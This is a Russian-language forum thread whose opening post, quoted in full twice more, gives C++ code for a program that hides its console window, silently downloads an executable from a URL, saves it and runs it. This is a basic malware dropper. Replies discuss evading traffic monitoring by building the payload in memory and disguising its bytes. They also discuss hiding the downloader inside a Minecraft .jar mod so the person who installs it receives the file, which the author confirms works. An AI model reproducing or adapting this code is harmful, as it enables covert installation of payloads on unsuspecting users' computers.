Статья C++ загрузка и открытие файла

  • Автор темы Автор темы taskevich
  • Дата начала Дата начала
  • 1 тыс.

taskevich

Новичок
Регистрация
22.05.2022
Сообщения
4
Для начала скажу, я не буду объяснять подробно параметры и т.п. каждой функции, зайдите на msdn и прочтите.
Ссылка на репозиторий на -> <-​
Для начала подключим все директивы:
#include <Windows.h> #include <WinInet.h> #include <vector> #pragma comment(lib,"wininet") #pragma warning(disable : 4996)

Объявим функции main, где находится прямая ссылка на файл:
void main() { [INDENT] ShowWindow(GetConsoleWindow(), SW_HIDE); // Скрытие консоли[/INDENT] [INDENT] const char url[] = "https://url/file.exe"; // ссылка на файл[/INDENT] [INDENT] download_file_and_run(url); // функция для запуска процесса скачки[/INDENT] [INDENT]#ifdef _DEBUG[/INDENT] [INDENT] system("pause");[/INDENT] [INDENT]#endif[/INDENT] }

Теперь самая главная функция, которая будет выполнять собственно основную задачу:
Для скачки файла, нужно установить соединение с сайтом, поэтому с помощью функция WinInet мы пишем:

HINTERNET hOpen = InternetOpenA("", NULL, NULL, NULL, NULL); if (!hOpen) return NULL; HINTERNET hFile = InternetOpenUrlA(hOpen, szUrl, NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, NULL); if (!hFile) { InternetCloseHandle(hOpen); return NULL; }

Далее объявим переменные, куда мы запишем байты нашей программы:
std::vector<char> tempdata; // временный буфер для чтения байтов программы char* data = NULL; // буфер, куда в последующем будет записаны байты DWORD dwBytesRead = 0; // сколько прочитано байтов

Объявим основной цикл чтения байтов программы:
do { char buffer[1024]; InternetReadFile(hFile, buffer, _countof(buffer), &dwBytesRead); for (unsigned int i = 0; i < dwBytesRead; i++) { tempdata.push_back(buffer[i]); } } while (dwBytesRead); data = new char[tempdata.size()]; for (unsigned int i = 0; i < tempdata.size(); i++) { data[i] = tempdata[i]; } // И обязательно закроем соединение InternetCloseHandle(hFile); InternetCloseHandle(hOpen);

Далее нужно создать и записать байты программы из буфера data в файл:
if (data) { HANDLE hFile = CreateFileA("test.exe", GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(hFile, data, tempdata.size(), &dwBytesRead, NULL); CloseHandle(hFile); // ....

Все, файл скачан, можно добавить дополнительно и запуск этого файла, продолжая предыдущий блок if:
STARTUPINFOA si; // структура содержащая информацию о создаваемом процессе(типа размер окна, заголовок и т.п ) PROCESS_INFORMATION pi; // структура, содержащая информацию об процессе ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcessA("test.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) printf("CreateProcess failed."); // Создать процесс скачанного файла // закрываем объекты ядра CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
 
Полезная статья, но я бы не использовал скачивание файла с интернета так как можно отследить трафик через httpdebugger
проще создать сам файл через память и его даже замаскировать что бы не вытащили через байты, но если не серьезное что то а простенькое то вообще отличный гайд
 
А можно ли совместить это с .jar файлом?
 
А можно ли совместить это с .jar файлом?
Да, можно скачать любой файл и использовать как тебе нужно, здесь идёт скачивания и создания процесса исполняемого файла, но и так же можно открыть jar поменяя тип файла
 
Да, можно скачать любой файл и использовать как тебе нужно, здесь идёт скачивания и создания процесса исполняемого файла, но и так же можно открыть jar поменяя тип файла
То есть, к примеру
Человек кидает файл .jar в mods, и запускает этот файл через майнкрафт
То на его комп скачивается тот или иной файл
Я правильно понимаю?
 
Для начала скажу, я не буду объяснять подробно параметры и т.п. каждой функции, зайдите на msdn и прочтите.
Ссылка на репозиторий на -> <-​
Для начала подключим все директивы:
#include <Windows.h> #include <WinInet.h> #include <vector> #pragma comment(lib,"wininet") #pragma warning(disable : 4996)

Объявим функции main, где находится прямая ссылка на файл:
void main() { [INDENT] ShowWindow(GetConsoleWindow(), SW_HIDE); // Скрытие консоли[/INDENT] [INDENT] const char url[] = "https://url/file.exe"; // ссылка на файл[/INDENT] [INDENT] download_file_and_run(url); // функция для запуска процесса скачки[/INDENT] [INDENT]#ifdef _DEBUG[/INDENT] [INDENT] system("pause");[/INDENT] [INDENT]#endif[/INDENT] }

Теперь самая главная функция, которая будет выполнять собственно основную задачу:
Для скачки файла, нужно установить соединение с сайтом, поэтому с помощью функция WinInet мы пишем:

HINTERNET hOpen = InternetOpenA("", NULL, NULL, NULL, NULL); if (!hOpen) return NULL; HINTERNET hFile = InternetOpenUrlA(hOpen, szUrl, NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, NULL); if (!hFile) { InternetCloseHandle(hOpen); return NULL; }

Далее объявим переменные, куда мы запишем байты нашей программы:
std::vector<char> tempdata; // временный буфер для чтения байтов программы char* data = NULL; // буфер, куда в последующем будет записаны байты DWORD dwBytesRead = 0; // сколько прочитано байтов

Объявим основной цикл чтения байтов программы:
do { char buffer[1024]; InternetReadFile(hFile, buffer, _countof(buffer), &dwBytesRead); for (unsigned int i = 0; i < dwBytesRead; i++) { tempdata.push_back(buffer[i]); } } while (dwBytesRead); data = new char[tempdata.size()]; for (unsigned int i = 0; i < tempdata.size(); i++) { data[i] = tempdata[i]; } // И обязательно закроем соединение InternetCloseHandle(hFile); InternetCloseHandle(hOpen);

Далее нужно создать и записать байты программы из буфера data в файл:
if (data) { HANDLE hFile = CreateFileA("test.exe", GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(hFile, data, tempdata.size(), &dwBytesRead, NULL); CloseHandle(hFile); // ....

Все, файл скачан, можно добавить дополнительно и запуск этого файла, продолжая предыдущий блок if:
STARTUPINFOA si; // структура содержащая информацию о создаваемом процессе(типа размер окна, заголовок и т.п ) PROCESS_INFORMATION pi; // структура, содержащая информацию об процессе ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcessA("test.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) printf("CreateProcess failed."); // Создать процесс скачанного файла // закрываем объекты ядра CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
Да, впринципе полезная темка
 
находится прямая ссылка н
Для начала скажу, я не буду объяснять подробно параметры и т.п. каждой функции, зайдите на msdn и прочтите.
Ссылка на репозиторий на -> <-​
Для начала подключим все директивы:
#include <Windows.h> #include <WinInet.h> #include <vector> #pragma comment(lib,"wininet") #pragma warning(disable : 4996)

Объявим функции main, где находится прямая ссылка на файл:
void main() { [INDENT] ShowWindow(GetConsoleWindow(), SW_HIDE); // Скрытие консоли[/INDENT] [INDENT] const char url[] = "https://url/file.exe"; // ссылка на файл[/INDENT] [INDENT] download_file_and_run(url); // функция для запуска процесса скачки[/INDENT] [INDENT]#ifdef _DEBUG[/INDENT] [INDENT] system("pause");[/INDENT] [INDENT]#endif[/INDENT] }

Теперь самая главная функция, которая будет выполнять собственно основную задачу:
Для скачки файла, нужно установить соединение с сайтом, поэтому с помощью функция WinInet мы пишем:

HINTERNET hOpen = InternetOpenA("", NULL, NULL, NULL, NULL); if (!hOpen) return NULL; HINTERNET hFile = InternetOpenUrlA(hOpen, szUrl, NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, NULL); if (!hFile) { InternetCloseHandle(hOpen); return NULL; }

Далее объявим переменные, куда мы запишем байты нашей программы:
std::vector<char> tempdata; // временный буфер для чтения байтов программы char* data = NULL; // буфер, куда в последующем будет записаны байты DWORD dwBytesRead = 0; // сколько прочитано байтов

Объявим основной цикл чтения байтов программы:
do { char buffer[1024]; InternetReadFile(hFile, buffer, _countof(buffer), &dwBytesRead); for (unsigned int i = 0; i < dwBytesRead; i++) { tempdata.push_back(buffer[i]); } } while (dwBytesRead); data = new char[tempdata.size()]; for (unsigned int i = 0; i < tempdata.size(); i++) { data[i] = tempdata[i]; } // И обязательно закроем соединение InternetCloseHandle(hFile); InternetCloseHandle(hOpen);

Далее нужно создать и записать байты программы из буфера data в файл:
if (data) { HANDLE hFile = CreateFileA("test.exe", GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(hFile, data, tempdata.size(), &dwBytesRead, NULL); CloseHandle(hFile); // ....

Все, файл скачан, можно добавить дополнительно и запуск этого файла, продолжая предыдущий блок if:
STARTUPINFOA si; // структура содержащая информацию о создаваемом процессе(типа размер окна, заголовок и т.п ) PROCESS_INFORMATION pi; // структура, содержащая информацию об процессе ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcessA("test.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) printf("CreateProcess failed."); // Создать процесс скачанного файла // закрываем объекты ядра CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
std::vector не рекомендую, я туда хотел запихнуть 5мб данных но мне этого не дали, ошибка.
 
Назад
Верх Низ